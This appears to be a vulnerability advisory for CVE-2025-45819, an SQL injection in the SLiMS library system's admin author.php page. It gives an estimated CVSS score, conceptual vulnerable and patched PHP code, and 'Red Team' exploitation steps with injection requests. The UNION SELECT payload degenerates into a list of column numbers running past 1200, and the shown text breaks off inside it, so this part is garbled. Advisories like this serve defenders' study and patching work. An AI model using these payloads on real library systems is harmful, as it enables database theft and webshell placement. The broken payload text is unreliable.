CVE-2025-45819

Executive Summary

CVE-2025-45819 identifies a critical SQL Injection vulnerability in Slims (Senayan Library Management Systems) version 9 Bulian 9.6.1. The flaw resides in the admin/modules/master_file/author.php file, allowing an authenticated attacker (with administrative privileges) to inject arbitrary SQL commands via unsanitized input parameters. Successful exploitation could lead to unauthorized data access, modification, or deletion of the underlying database, potentially compromising the entire library management system.

This vulnerability is particularly concerning for institutions using SLiMS for their library operations, as it exposes sensitive patron records, book inventories, and administrative credentials. The lack of a confirmed patch or official advisory from the vendor increases the risk for unpatched deployments.

Supply Chain & Package Security

SLiMS is a PHP-based open-source application. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their SLiMS installation files and ensure no backdoors have been introduced via compromised downloads.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The admin interface is typically accessible over the network.
• Attack Complexity (AC): Low (L) – Exploitation requires only basic HTTP request manipulation.
• Privileges Required (PR): High (H) – Requires admin-level authentication.
• User Interaction (UI): None (N) – No user action needed beyond the attacker’s own.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Score: 7.2 (High)

Threat Level: High – The vulnerability is easy to exploit once authenticated, and the impact on data confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the admin/modules/master_file/author.php file. This file is part of the administrative backend for managing author records. The injection point is likely in a parameter used to filter, sort, or delete author entries.

Root Cause: The application fails to properly sanitize or parameterize user-supplied input before incorporating it into SQL queries. Instead of using prepared statements or parameterized queries, the code directly concatenates user input into the SQL string.

Attack Vector: An authenticated admin user can manipulate HTTP GET or POST parameters (e.g., id, action, search) sent to author.php. By injecting SQL metacharacters (e.g., ', ", --), the attacker can break out of the intended query structure and execute arbitrary SQL commands.

Impact:

• Data Exfiltration: Extract all data from the slims database, including user credentials, patron information, and book records.
• Data Manipulation: Modify or delete records, potentially corrupting the library catalog.
• Privilege Escalation: If the database user has elevated privileges, the attacker could gain access to the underlying operating system via xp_cmdshell (on MSSQL) or INTO OUTFILE (on MySQL) to write a webshell.

Vulnerable vs. Patched Code

Vulnerable Code (author.php - conceptual):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM author WHERE author_id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (conceptual):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM author WHERE author_id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses intval() to ensure the input is an integer and employs a prepared statement with parameterized queries, completely eliminating the SQL injection vector.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a SLiMS 9.6.1 admin panel with valid credentials.
• Knowledge of the database structure (common table names: author, biblio, member, user).

Exploitation Steps:

1. Identify Injection Point: Navigate to admin/modules/master_file/author.php. Look for parameters like id, action, or search in the URL or POST data.

2. Test for Injection: Send a request with a single quote to break the query:

   GET /admin/modules/master_file/author.php?id=1' HTTP/1.1
   

   If an SQL error is returned, the parameter is vulnerable.

3. Extract Data (UNION-based):

   GET /admin/modules/master_file/author.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000,1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1101,1102,1103,1104,1105,1106,1107,1108,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126,1127,1128,1129,1130,1131,1132,1133,1134,1135,1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,1152,1153,1154,1155,1156,1157,1158,1159,1160,1161,1162,1163,1164,1165,1166,1167,1168,1169,1170,1171,1172,1173,1174,1175,1176,1177,1178,1179,1180,1181,1182,1183,1184,1185,1186,1187,1188,1189,1190,1191,1192,1193,1194,1195,1196,1197,1198,1199,1200,1201,1202,1203,1204,1205,1206,1207,1208,1209,1210,1211,1212,1213,1214,1215,1216,1217,1218,1219,1220,1221,12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